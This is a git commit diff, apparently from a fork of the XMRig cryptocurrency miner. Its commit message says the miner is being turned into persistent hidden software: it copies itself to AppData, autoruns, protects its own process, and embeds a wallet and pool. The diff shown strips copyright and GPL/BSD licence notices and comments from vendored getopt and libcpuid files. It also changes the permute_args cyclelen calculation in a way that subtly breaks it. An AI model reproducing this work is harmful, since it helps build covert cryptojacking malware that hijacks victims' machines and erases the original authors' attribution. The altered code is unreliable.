FULLY CHANGED RIG

Copy file to appdata, integrated encrypted wallet and pool, autorun, protect process and file. And to many fucked changes
This commit is contained in:
RansomFuck 2018-02-12 02:29:06 +03:00
parent 531c657b64
commit 5e3ae60fb3
116 changed files with 1385 additions and 9160 deletions

23
src/3rdparty/align.h vendored
View file

@ -1,26 +1,3 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __ALIGN_H__ #ifndef __ALIGN_H__
#define __ALIGN_H__ #define __ALIGN_H__

View file

@ -1,65 +0,0 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __ALIGNED_MALLOC_H__
#define __ALIGNED_MALLOC_H__
#include <stdlib.h>
#ifndef __cplusplus
extern int posix_memalign(void **__memptr, size_t __alignment, size_t __size);
#else
// Some systems (e.g. those with GNU libc) declare posix_memalign with an
// exception specifier. Via an "egregious workaround" in
// Sema::CheckEquivalentExceptionSpec, Clang accepts the following as a valid
// redeclaration of glibc's declaration.
extern "C" int posix_memalign(void **__memptr, size_t __alignment, size_t __size);
#endif
static __inline__ void *__attribute__((__always_inline__, __malloc__)) _mm_malloc(size_t __size, size_t __align)
{
if (__align == 1) {
return malloc(__size);
}
if (!(__align & (__align - 1)) && __align < sizeof(void *))
__align = sizeof(void *);
void *__mallocedMemory;
if (posix_memalign(&__mallocedMemory, __align, __size)) {
return 0;
}
return __mallocedMemory;
}
static __inline__ void __attribute__((__always_inline__)) _mm_free(void *__p)
{
free(__p);
}
#endif /* __ALIGNED_MALLOC_H__ */

View file

@ -1,66 +1,9 @@
#ifndef __GETOPT_H__ #ifndef __GETOPT_H__
/**
* DISCLAIMER
* This file is part of the mingw-w64 runtime package.
*
* The mingw-w64 runtime package and its code is distributed in the hope that it
* will be useful but WITHOUT ANY WARRANTY. ALL WARRANTIES, EXPRESSED OR
* IMPLIED ARE HEREBY DISCLAIMED. This includes but is not limited to
* warranties of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*/
/*
* Copyright (c) 2002 Todd C. Miller <Todd.Miller@courtesan.com>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*
* Sponsored in part by the Defense Advanced Research Projects
* Agency (DARPA) and Air Force Research Laboratory, Air Force
* Materiel Command, USAF, under agreement number F39502-99-1-0512.
*/
/*-
* Copyright (c) 2000 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Dieter Baron and Thomas Klausner.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#pragma warning(disable:4996) #pragma warning(disable:4996)
#define __GETOPT_H__ #define __GETOPT_H__
/* All the headers include this file. */
#include <crtdefs.h> #include <crtdefs.h>
#include <errno.h> #include <errno.h>
#include <stdlib.h> #include <stdlib.h>
@ -73,32 +16,25 @@
extern "C" { extern "C" {
#endif #endif
#define REPLACE_GETOPT /* use this getopt as the system getopt(3) */ #define REPLACE_GETOPT
#ifdef REPLACE_GETOPT #ifdef REPLACE_GETOPT
int opterr = 1; /* if error message should be printed */ int opterr = 1;
int optind = 1; /* index into parent argv vector */ int optind = 1;
int optopt = '?'; /* character checked for validity */ int optopt = '?';
#undef optreset /* see getopt.h */ #undef optreset
#define optreset __mingw_optreset #define optreset __mingw_optreset
int optreset; /* reset getopt */ int optreset;
char *optarg; /* argument associated with option */ char *optarg;
#endif #endif
//extern int optind; /* index of first non-option in argv */
//extern int optopt; /* single option character, as parsed */
//extern int opterr; /* flag to enable built-in diagnostics... */
// /* (user may set to zero, to suppress) */
//
//extern char *optarg; /* pointer to argument of current option */
#define PRINT_ERROR ((opterr) && (*options != ':')) #define PRINT_ERROR ((opterr) && (*options != ':'))
#define FLAG_PERMUTE 0x01 /* permute non-options to the end of argv */ #define FLAG_PERMUTE 0x01
#define FLAG_ALLARGS 0x02 /* treat non-options as args to option "-1" */ #define FLAG_ALLARGS 0x02
#define FLAG_LONGONLY 0x04 /* operate as getopt_long_only */ #define FLAG_LONGONLY 0x04
/* return values */
#define BADCH (int)'?' #define BADCH (int)'?'
#define BADARG ((*options == ':') ? (int)':' : (int)'?') #define BADARG ((*options == ':') ? (int)':' : (int)'?')
#define INORDER (int)1 #define INORDER (int)1
@ -122,13 +58,13 @@ static int parse_long_options(char * const *, const char *,
static int gcd(int, int); static int gcd(int, int);
static void permute_args(int, int, int, char * const *); static void permute_args(int, int, int, char * const *);
static char *place = EMSG; /* option letter processing */ static char *place = EMSG;
static int nonopt_start = -1;
static int nonopt_end = -1;
/* XXX: set optreset to 1 rather than these two */
static int nonopt_start = -1; /* first non option argument (for permute) */
static int nonopt_end = -1; /* first option after non options (for permute) */
/* Error messages */
static const char recargchar[] = "option requires an argument -- %c"; static const char recargchar[] = "option requires an argument -- %c";
static const char recargstring[] = "option requires an argument -- %s"; static const char recargstring[] = "option requires an argument -- %s";
static const char ambig[] = "ambiguous option -- %.*s"; static const char ambig[] = "ambiguous option -- %.*s";
@ -154,9 +90,6 @@ warnx(const char *fmt,...)
va_end(ap); va_end(ap);
} }
/*
* Compute the greatest common divisor of a and b.
*/
static int static int
gcd(int a, int b) gcd(int a, int b)
{ {
@ -172,11 +105,7 @@ gcd(int a, int b)
return (b); return (b);
} }
/*
* Exchange the block from nonopt_start to nonopt_end with the block
* from nonopt_end to opt_end (keeping the same order of arguments
* in each block).
*/
static void static void
permute_args(int panonopt_start, int panonopt_end, int opt_end, permute_args(int panonopt_start, int panonopt_end, int opt_end,
char * const *nargv) char * const *nargv)
@ -184,13 +113,10 @@ permute_args(int panonopt_start, int panonopt_end, int opt_end,
int cstart, cyclelen, i, j, ncycle, nnonopts, nopts, pos; int cstart, cyclelen, i, j, ncycle, nnonopts, nopts, pos;
char *swap; char *swap;
/*
* compute lengths of blocks and number and size of cycles
*/
nnonopts = panonopt_end - panonopt_start; nnonopts = panonopt_end - panonopt_start;
nopts = opt_end - panonopt_end; nopts = opt_end - panonopt_end;
ncycle = gcd(nnonopts, nopts); ncycle = gcd(nnonopts, nopts);
cyclelen = (opt_end - panonopt_start) / ncycle; cyclelen = (opt_end - panonopt_start);
for (i = 0; i < ncycle; i++) { for (i = 0; i < ncycle; i++) {
cstart = panonopt_end+i; cstart = panonopt_end+i;
@ -201,62 +127,30 @@ permute_args(int panonopt_start, int panonopt_end, int opt_end,
else else
pos += nopts; pos += nopts;
swap = nargv[pos]; swap = nargv[pos];
/* LINTED const cast */
((char **) nargv)[pos] = nargv[cstart]; ((char **) nargv)[pos] = nargv[cstart];
/* LINTED const cast */
((char **)nargv)[cstart] = swap; ((char **)nargv)[cstart] = swap;
} }
} }
} }
#ifdef REPLACE_GETOPT #ifdef REPLACE_GETOPT
/*
* getopt --
* Parse argc/argv argument vector.
*
* [eventually this will replace the BSD getopt]
*/
int int
getopt(int nargc, char * const *nargv, const char *options) getopt(int nargc, char * const *nargv, const char *options)
{ {
/*
* We don't pass FLAG_PERMUTE to getopt_internal() since
* the BSD getopt(3) (unlike GNU) has never done this.
*
* Furthermore, since many privileged programs call getopt()
* before dropping privileges it makes sense to keep things
* as simple (and bug-free) as possible.
*/
return (getopt_internal(nargc, nargv, options, NULL, NULL, 0)); return (getopt_internal(nargc, nargv, options, NULL, NULL, 0));
} }
#endif /* REPLACE_GETOPT */ #endif
//extern int getopt(int nargc, char * const *nargv, const char *options);
#ifdef _BSD_SOURCE #ifdef _BSD_SOURCE
/*
* BSD adds the non-standard `optreset' feature, for reinitialisation
* of `getopt' parsing. We support this feature, for applications which
* proclaim their BSD heritage, before including this header; however,
* to maintain portability, developers are advised to avoid it.
*/
# define optreset __mingw_optreset # define optreset __mingw_optreset
extern int optreset; extern int optreset;
#endif #endif
#ifdef __cplusplus #ifdef __cplusplus
} }
#endif #endif
/* #endif
* POSIX requires the `getopt' API to be specified in `unistd.h';
* thus, `unistd.h' includes this header. However, we do not want
* to expose the `getopt_long' or `getopt_long_only' APIs, when
* included in this manner. Thus, close the standard __GETOPT_H__
* declarations block, and open an additional __GETOPT_LONG_H__
* specific block, only when *not* __UNISTD_H_SOURCED__, in which
* to declare the extended API.
*/
#endif /* !defined(__GETOPT_H__) */
#if !defined(__UNISTD_H_SOURCED__) && !defined(__GETOPT_LONG_H__) #if !defined(__UNISTD_H_SOURCED__) && !defined(__GETOPT_LONG_H__)
#define __GETOPT_LONG_H__ #define __GETOPT_LONG_H__
@ -265,26 +159,20 @@ extern int optreset;
extern "C" { extern "C" {
#endif #endif
struct option /* specification for a long form option... */ struct option
{ {
const char *name; /* option name, without leading hyphens */ const char *name;
int has_arg; /* does it take an argument? */ int has_arg;
int *flag; /* where to save its status, or NULL */ int *flag;
int val; /* its associated status value */ int val;
}; };
enum /* permitted values for its `has_arg' field... */ enum
{ {
no_argument = 0, /* option never takes an argument */ no_argument = 0,
required_argument, /* option always requires an argument */ required_argument,
optional_argument /* option may take an argument */ optional_argument
}; };
/*
* parse_long_options --
* Parse long options in argc/argv argument vector.
* Returns -1 if short_too is set and the option does not match long_options.
*/
static int static int
parse_long_options(char * const *nargv, const char *options, parse_long_options(char * const *nargv, const char *options,
const struct option *long_options, int *idx, int short_too) const struct option *long_options, int *idx, int short_too)
@ -305,53 +193,46 @@ parse_long_options(char * const *nargv, const char *options,
optind++; optind++;
if ((has_equal = strchr(current_argv, '=')) != NULL) { if ((has_equal = strchr(current_argv, '=')) != NULL) {
/* argument found (--option=arg) */
current_argv_len = has_equal - current_argv; current_argv_len = has_equal - current_argv;
has_equal++; has_equal++;
} else } else
current_argv_len = strlen(current_argv); current_argv_len = strlen(current_argv);
for (i = 0; long_options[i].name; i++) { for (i = 0; long_options[i].name; i++) {
/* find matching long option */
if (strncmp(current_argv, long_options[i].name, if (strncmp(current_argv, long_options[i].name,
current_argv_len)) current_argv_len))
continue; continue;
if (strlen(long_options[i].name) == current_argv_len) { if (strlen(long_options[i].name) == current_argv_len) {
/* exact match */
match = i; match = i;
ambiguous = 0; ambiguous = 0;
break; break;
} }
/*
* If this is a known short option, don't allow
* a partial match of a single character.
*/
if (short_too && current_argv_len == 1) if (short_too && current_argv_len == 1)
continue; continue;
if (match == -1) /* partial match */ if (match == -1)
match = i; match = i;
else if (!IDENTICAL_INTERPRETATION(i, match)) else if (!IDENTICAL_INTERPRETATION(i, match))
ambiguous = 1; ambiguous = 1;
} }
if (ambiguous) { if (ambiguous) {
/* ambiguous abbreviation */
if (PRINT_ERROR) if (PRINT_ERROR)
warnx(ambig, (int)current_argv_len, warnx(ambig, (int)current_argv_len,
current_argv); current_argv);
optopt = 0; optopt = 0;
return (BADCH); return (BADCH);
} }
if (match != -1) { /* option found */ if (match != -1) {
if (long_options[match].has_arg == no_argument if (long_options[match].has_arg == no_argument
&& has_equal) { && has_equal) {
if (PRINT_ERROR) if (PRINT_ERROR)
warnx(noarg, (int)current_argv_len, warnx(noarg, (int)current_argv_len,
current_argv); current_argv);
/*
* XXX: GNU sets optopt to val regardless of flag
*/
if (long_options[match].flag == NULL) if (long_options[match].flag == NULL)
optopt = long_options[match].val; optopt = long_options[match].val;
else else
@ -364,24 +245,14 @@ parse_long_options(char * const *nargv, const char *options,
optarg = has_equal; optarg = has_equal;
else if (long_options[match].has_arg == else if (long_options[match].has_arg ==
required_argument) { required_argument) {
/*
* optional argument doesn't use next nargv
*/
optarg = nargv[optind++]; optarg = nargv[optind++];
} }
} }
if ((long_options[match].has_arg == required_argument) if ((long_options[match].has_arg == required_argument)
&& (optarg == NULL)) { && (optarg == NULL)) {
/*
* Missing argument; leading ':' indicates no error
* should be generated.
*/
if (PRINT_ERROR) if (PRINT_ERROR)
warnx(recargstring, warnx(recargstring,
current_argv); current_argv);
/*
* XXX: GNU sets optopt to val regardless of flag
*/
if (long_options[match].flag == NULL) if (long_options[match].flag == NULL)
optopt = long_options[match].val; optopt = long_options[match].val;
else else
@ -389,7 +260,7 @@ parse_long_options(char * const *nargv, const char *options,
--optind; --optind;
return (BADARG); return (BADARG);
} }
} else { /* unknown option */ } else {
if (short_too) { if (short_too) {
--optind; --optind;
return (-1); return (-1);
@ -408,36 +279,19 @@ parse_long_options(char * const *nargv, const char *options,
return (long_options[match].val); return (long_options[match].val);
#undef IDENTICAL_INTERPRETATION #undef IDENTICAL_INTERPRETATION
} }
/*
* getopt_internal --
* Parse argc/argv argument vector. Called by user level routines.
*/
static int static int
getopt_internal(int nargc, char * const *nargv, const char *options, getopt_internal(int nargc, char * const *nargv, const char *options,
const struct option *long_options, int *idx, int flags) const struct option *long_options, int *idx, int flags)
{ {
char *oli; /* option letter list index */ char *oli;
int optchar, short_too; int optchar, short_too;
static int posixly_correct = -1; static int posixly_correct = -1;
if (options == NULL) if (options == NULL)
return (-1); return (-1);
/*
* XXX Some GNU programs (like cvs) set optind to 0 instead of
* XXX using optreset. Work around this braindamage.
*/
if (optind == 0) if (optind == 0)
optind = optreset = 1; optind = optreset = 1;
/*
* Disable GNU extensions if POSIXLY_CORRECT is set or options
* string begins with a '+'.
*
* CV, 2009-12-14: Check POSIXLY_CORRECT anew if optind == 0 or
* optreset != 0 for GNU compatibility.
*/
if (posixly_correct == -1 || optreset != 0) if (posixly_correct == -1 || optreset != 0)
posixly_correct = (getenv("POSIXLY_CORRECT") != NULL); posixly_correct = (getenv("POSIXLY_CORRECT") != NULL);
if (*options == '-') if (*options == '-')
@ -451,21 +305,17 @@ getopt_internal(int nargc, char * const *nargv, const char *options,
if (optreset) if (optreset)
nonopt_start = nonopt_end = -1; nonopt_start = nonopt_end = -1;
start: start:
if (optreset || !*place) { /* update scanning pointer */ if (optreset || !*place) {
optreset = 0; optreset = 0;
if (optind >= nargc) { /* end of argument vector */ if (optind >= nargc) {
place = EMSG; place = EMSG;
if (nonopt_end != -1) { if (nonopt_end != -1) {
/* do permutation, if we have to */
permute_args(nonopt_start, nonopt_end, permute_args(nonopt_start, nonopt_end,
optind, nargv); optind, nargv);
optind -= nonopt_end - nonopt_start; optind -= nonopt_end - nonopt_start;
} }
else if (nonopt_start != -1) { else if (nonopt_start != -1) {
/*
* If we skipped non-options, set optind
* to the first of them.
*/
optind = nonopt_start; optind = nonopt_start;
} }
nonopt_start = nonopt_end = -1; nonopt_start = nonopt_end = -1;
@ -473,23 +323,15 @@ start:
} }
if (*(place = nargv[optind]) != '-' || if (*(place = nargv[optind]) != '-' ||
(place[1] == '\0' && strchr(options, '-') == NULL)) { (place[1] == '\0' && strchr(options, '-') == NULL)) {
place = EMSG; /* found non-option */ place = EMSG;
if (flags & FLAG_ALLARGS) { if (flags & FLAG_ALLARGS) {
/*
* GNU extension:
* return non-option as argument to option 1
*/
optarg = nargv[optind++]; optarg = nargv[optind++];
return (INORDER); return (INORDER);
} }
if (!(flags & FLAG_PERMUTE)) { if (!(flags & FLAG_PERMUTE)) {
/*
* If no permutation wanted, stop parsing
* at first non-option.
*/
return (-1); return (-1);
} }
/* do permutation */
if (nonopt_start == -1) if (nonopt_start == -1)
nonopt_start = optind; nonopt_start = optind;
else if (nonopt_end != -1) { else if (nonopt_end != -1) {
@ -500,22 +342,14 @@ start:
nonopt_end = -1; nonopt_end = -1;
} }
optind++; optind++;
/* process next argument */
goto start; goto start;
} }
if (nonopt_start != -1 && nonopt_end == -1) if (nonopt_start != -1 && nonopt_end == -1)
nonopt_end = optind; nonopt_end = optind;
/*
* If we have "-" do nothing, if "--" we are done.
*/
if (place[1] != '\0' && *++place == '-' && place[1] == '\0') { if (place[1] != '\0' && *++place == '-' && place[1] == '\0') {
optind++; optind++;
place = EMSG; place = EMSG;
/*
* We found an option (--), so if we skipped
* non-options, we have to permute.
*/
if (nonopt_end != -1) { if (nonopt_end != -1) {
permute_args(nonopt_start, nonopt_end, permute_args(nonopt_start, nonopt_end,
optind, nargv); optind, nargv);
@ -525,20 +359,13 @@ start:
return (-1); return (-1);
} }
} }
/*
* Check long options if:
* 1) we were passed some
* 2) the arg is not just "-"
* 3) either the arg starts with -- we are getopt_long_only()
*/
if (long_options != NULL && place != nargv[optind] && if (long_options != NULL && place != nargv[optind] &&
(*place == '-' || (flags & FLAG_LONGONLY))) { (*place == '-' || (flags & FLAG_LONGONLY))) {
short_too = 0; short_too = 0;
if (*place == '-') if (*place == '-')
place++; /* --foo long option */ place++;
else if (*place != ':' && strchr(options, *place) != NULL) else if (*place != ':' && strchr(options, *place) != NULL)
short_too = 1; /* could be short option too */ short_too = 1;
optchar = parse_long_options(nargv, options, long_options, optchar = parse_long_options(nargv, options, long_options,
idx, short_too); idx, short_too);
@ -551,11 +378,6 @@ start:
if ((optchar = (int)*place++) == (int)':' || if ((optchar = (int)*place++) == (int)':' ||
(optchar == (int)'-' && *place != '\0') || (optchar == (int)'-' && *place != '\0') ||
(oli = (char*)strchr(options, optchar)) == NULL) { (oli = (char*)strchr(options, optchar)) == NULL) {
/*
* If the user specified "-" and '-' isn't listed in
* options, return -1 (non-option) as per POSIX.
* Otherwise, it is an unknown option character (or ':').
*/
if (optchar == (int)'-' && *place == '\0') if (optchar == (int)'-' && *place == '\0')
return (-1); return (-1);
if (!*place) if (!*place)
@ -566,31 +388,30 @@ start:
return (BADCH); return (BADCH);
} }
if (long_options != NULL && optchar == 'W' && oli[1] == ';') { if (long_options != NULL && optchar == 'W' && oli[1] == ';') {
/* -W long-option */
if (*place) /* no space */ if (*place) {}
/* NOTHING */; else if (++optind >= nargc) {
else if (++optind >= nargc) { /* no arg */
place = EMSG; place = EMSG;
if (PRINT_ERROR) if (PRINT_ERROR)
warnx(recargchar, optchar); warnx(recargchar, optchar);
optopt = optchar; optopt = optchar;
return (BADARG); return (BADARG);
} else /* white space */ } else
place = nargv[optind]; place = nargv[optind];
optchar = parse_long_options(nargv, options, long_options, optchar = parse_long_options(nargv, options, long_options,
idx, 0); idx, 0);
place = EMSG; place = EMSG;
return (optchar); return (optchar);
} }
if (*++oli != ':') { /* doesn't take argument */ if (*++oli != ':') {
if (!*place) if (!*place)
++optind; ++optind;
} else { /* takes (optional) argument */ } else {
optarg = NULL; optarg = NULL;
if (*place) /* no white space */ if (*place)
optarg = place; optarg = place;
else if (oli[1] != ':') { /* arg not optional */ else if (oli[1] != ':') {
if (++optind >= nargc) { /* no arg */ if (++optind >= nargc) {
place = EMSG; place = EMSG;
if (PRINT_ERROR) if (PRINT_ERROR)
warnx(recargchar, optchar); warnx(recargchar, optchar);
@ -602,14 +423,10 @@ start:
place = EMSG; place = EMSG;
++optind; ++optind;
} }
/* dump back option letter */
return (optchar); return (optchar);
} }
/*
* getopt_long --
* Parse argc/argv argument vector.
*/
int int
getopt_long(int nargc, char * const *nargv, const char *options, getopt_long(int nargc, char * const *nargv, const char *options,
const struct option *long_options, int *idx) const struct option *long_options, int *idx)
@ -619,10 +436,6 @@ getopt_long(int nargc, char * const *nargv, const char *options,
FLAG_PERMUTE)); FLAG_PERMUTE));
} }
/*
* getopt_long_only --
* Parse argc/argv argument vector.
*/
int int
getopt_long_only(int nargc, char * const *nargv, const char *options, getopt_long_only(int nargc, char * const *nargv, const char *options,
const struct option *long_options, int *idx) const struct option *long_options, int *idx)
@ -632,17 +445,7 @@ getopt_long_only(int nargc, char * const *nargv, const char *options,
FLAG_PERMUTE|FLAG_LONGONLY)); FLAG_PERMUTE|FLAG_LONGONLY));
} }
//extern int getopt_long(int nargc, char * const *nargv, const char *options,
// const struct option *long_options, int *idx);
//extern int getopt_long_only(int nargc, char * const *nargv, const char *options,
// const struct option *long_options, int *idx);
/*
* Previous MinGW implementation had...
*/
#ifndef HAVE_DECL_GETOPT #ifndef HAVE_DECL_GETOPT
/*
* ...for the long form API only; keep this for compatibility.
*/
# define HAVE_DECL_GETOPT 1 # define HAVE_DECL_GETOPT 1
#endif #endif
@ -650,4 +453,4 @@ getopt_long_only(int nargc, char * const *nargv, const char *options,
} }
#endif #endif
#endif /* !defined(__UNISTD_H_SOURCED__) && !defined(__GETOPT_LONG_H__) */ #endif

View file

@ -1,33 +1,3 @@
/*
* Copyright 2016 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This file contains a list of internal codes we use in detection. It is
* of no external use and isn't a complete list of AMD products.
*/
CODE2(OPTERON_800, 1000), CODE2(OPTERON_800, 1000),
CODE(PHENOM), CODE(PHENOM),
CODE(PHENOM2), CODE(PHENOM2),

View file

@ -1,29 +1,3 @@
/*
* Copyright 2008 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "libcpuid.h" #include "libcpuid.h"
#include "asm-bits.h" #include "asm-bits.h"
@ -76,10 +50,6 @@ int cpuid_exists_by_eflags(void)
} }
#ifdef INLINE_ASM_SUPPORTED #ifdef INLINE_ASM_SUPPORTED
/*
* with MSVC/AMD64, the exec_cpuid() and cpu_rdtsc() functions
* are implemented in separate .asm files. Otherwise, use inline assembly
*/
void exec_cpuid(uint32_t *regs) void exec_cpuid(uint32_t *regs)
{ {
#ifdef COMPILER_GCC #ifdef COMPILER_GCC

View file

@ -1,47 +1,22 @@
/*
* Copyright 2008 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __ASM_BITS_H__ #ifndef __ASM_BITS_H__
#define __ASM_BITS_H__ #define __ASM_BITS_H__
#include "libcpuid.h" #include "libcpuid.h"
/* Determine Compiler: */
#if defined(_MSC_VER) #if defined(_MSC_VER)
# define COMPILER_MICROSOFT # define COMPILER_MICROSOFT
#elif defined(__GNUC__) #elif defined(__GNUC__)
# define COMPILER_GCC # define COMPILER_GCC
#endif #endif
/* Determine Platform */
#if defined(__x86_64__) || defined(_M_AMD64) #if defined(__x86_64__) || defined(_M_AMD64)
# define PLATFORM_X64 # define PLATFORM_X64
#elif defined(__i386__) || defined(_M_IX86) #elif defined(__i386__) || defined(_M_IX86)
# define PLATFORM_X86 # define PLATFORM_X86
#endif #endif
/* Under Windows/AMD64 with MSVC, inline assembly isn't supported */
#if (defined(COMPILER_GCC) && defined(PLATFORM_X64)) || defined(PLATFORM_X86) #if (defined(COMPILER_GCC) && defined(PLATFORM_X64)) || defined(PLATFORM_X86)
# define INLINE_ASM_SUPPORTED # define INLINE_ASM_SUPPORTED
#endif #endif
@ -50,4 +25,4 @@ int cpuid_exists_by_eflags(void);
